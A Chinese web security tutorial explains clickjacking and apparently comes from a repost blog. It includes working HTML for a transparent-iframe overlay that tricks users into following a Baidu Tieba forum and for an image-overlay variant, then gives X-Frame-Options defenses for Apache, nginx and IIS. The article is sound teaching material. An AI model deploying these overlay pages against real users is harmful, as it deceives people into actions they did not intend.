Web安全之点击劫持(ClickJacking)
目錄
iframe覆蓋
直接示例說明
解決辦法
Apache配置:
nginx配置:
IIS配置:
圖片覆蓋
示例
解決辦法
總結
點擊劫持(ClickJacking)是一種視覺上的欺騙手段。大概有兩種方式,一是攻擊者使用一個透明的iframe,覆蓋在一個網頁上,然后誘使用戶在該頁面上進行操作,此時用戶將在不知情的情況下點擊透明的iframe頁面;二是攻擊者使用一張圖片覆蓋在網頁,遮擋網頁原有位置的含義;
iframe覆蓋
直接示例說明
1. 假如我們在百度有個貼吧,想偷偷讓別人關注它。于是我們準備一個頁面:
<!DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <head> <title>點擊劫持</title> <style>html,body,iframe{display: block;height: 100%;width: 100%;margin: 0;padding: 0;border:none;}iframe{opacity:0;filter:alpha(opacity=0);position:absolute;z-index:2;}button{position:absolute;top: 315px;left: 462px;z-index: 1;width: 72px;height: 26px;} </style> </head><body>那些不能說的秘密<button>查看詳情</button><iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe></body> </html>PS:頁面看起來就這樣,當然真正攻擊的頁面會精致些,不像這么簡陋。
2. 網址傳播出去后,用戶手賤點擊了查看詳情后,其實就會點到關注按鈕。
PS:可以把iframe透明設為0.3看下實際點到的東西。
3. 這樣貼吧就多了一個粉絲了。?
解決辦法
使用一個HTTP頭——X-Frame-Options。X-Frame-Options可以說是為了解決ClickJacking而生的,它有三個可選的值:
DENY:瀏覽器會拒絕當前頁面加載任何frame頁面;
SAMEORIGIN:frame頁面的地址只能為同源域名下的頁面;
ALLOW-FROM origin:允許frame加載的頁面地址;
PS:瀏覽器支持情況:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。
具體的設置方法:
Apache配置:
Header always append X-Frame-Options SAMEORIGINnginx配置:
add_header X-Frame-Options SAMEORIGIN;IIS配置:
<system.webServer>...<httpProtocol><customHeaders><add name="X-Frame-Options" value="SAMEORIGIN" /></customHeaders></httpProtocol>... </system.webServer>圖片覆蓋
圖片覆蓋攻擊(Cross Site Image Overlaying),攻擊者使用一張或多張圖片,利用圖片的style或者能夠控制的CSS,將圖片覆蓋在網頁上,形成點擊劫持。當然圖片本身所帶的信息可能就帶有欺騙的含義,這樣不需要用戶點擊,也能達到欺騙的目的。
PS:這種攻擊很容易出現在網站本身的頁面。
示例
在可以輸入HTML內容的地方加上一張圖片,只不過將圖片覆蓋在指定的位置。
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"><img src="XXXXXX" style="position:absolute;top:90px;left:320px;" /> </a>解決辦法
在防御圖片覆蓋攻擊時,需要檢查用戶提交的HTML代碼中,img標簽的style屬性是否可能導致浮出。
總結
點擊劫持算是一種很多人不大關注的攻擊,他需要誘使用戶與頁面進行交互,實施的攻擊成本更高。另外開發者可能會覺得是用戶犯蠢,不重視這種攻擊方式。
總結
以上是生活随笔為你收集整理的Web安全之点击劫持(ClickJacking)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: bzoj2194 快速傅立叶之二
- 下一篇: 树的遍历(25分)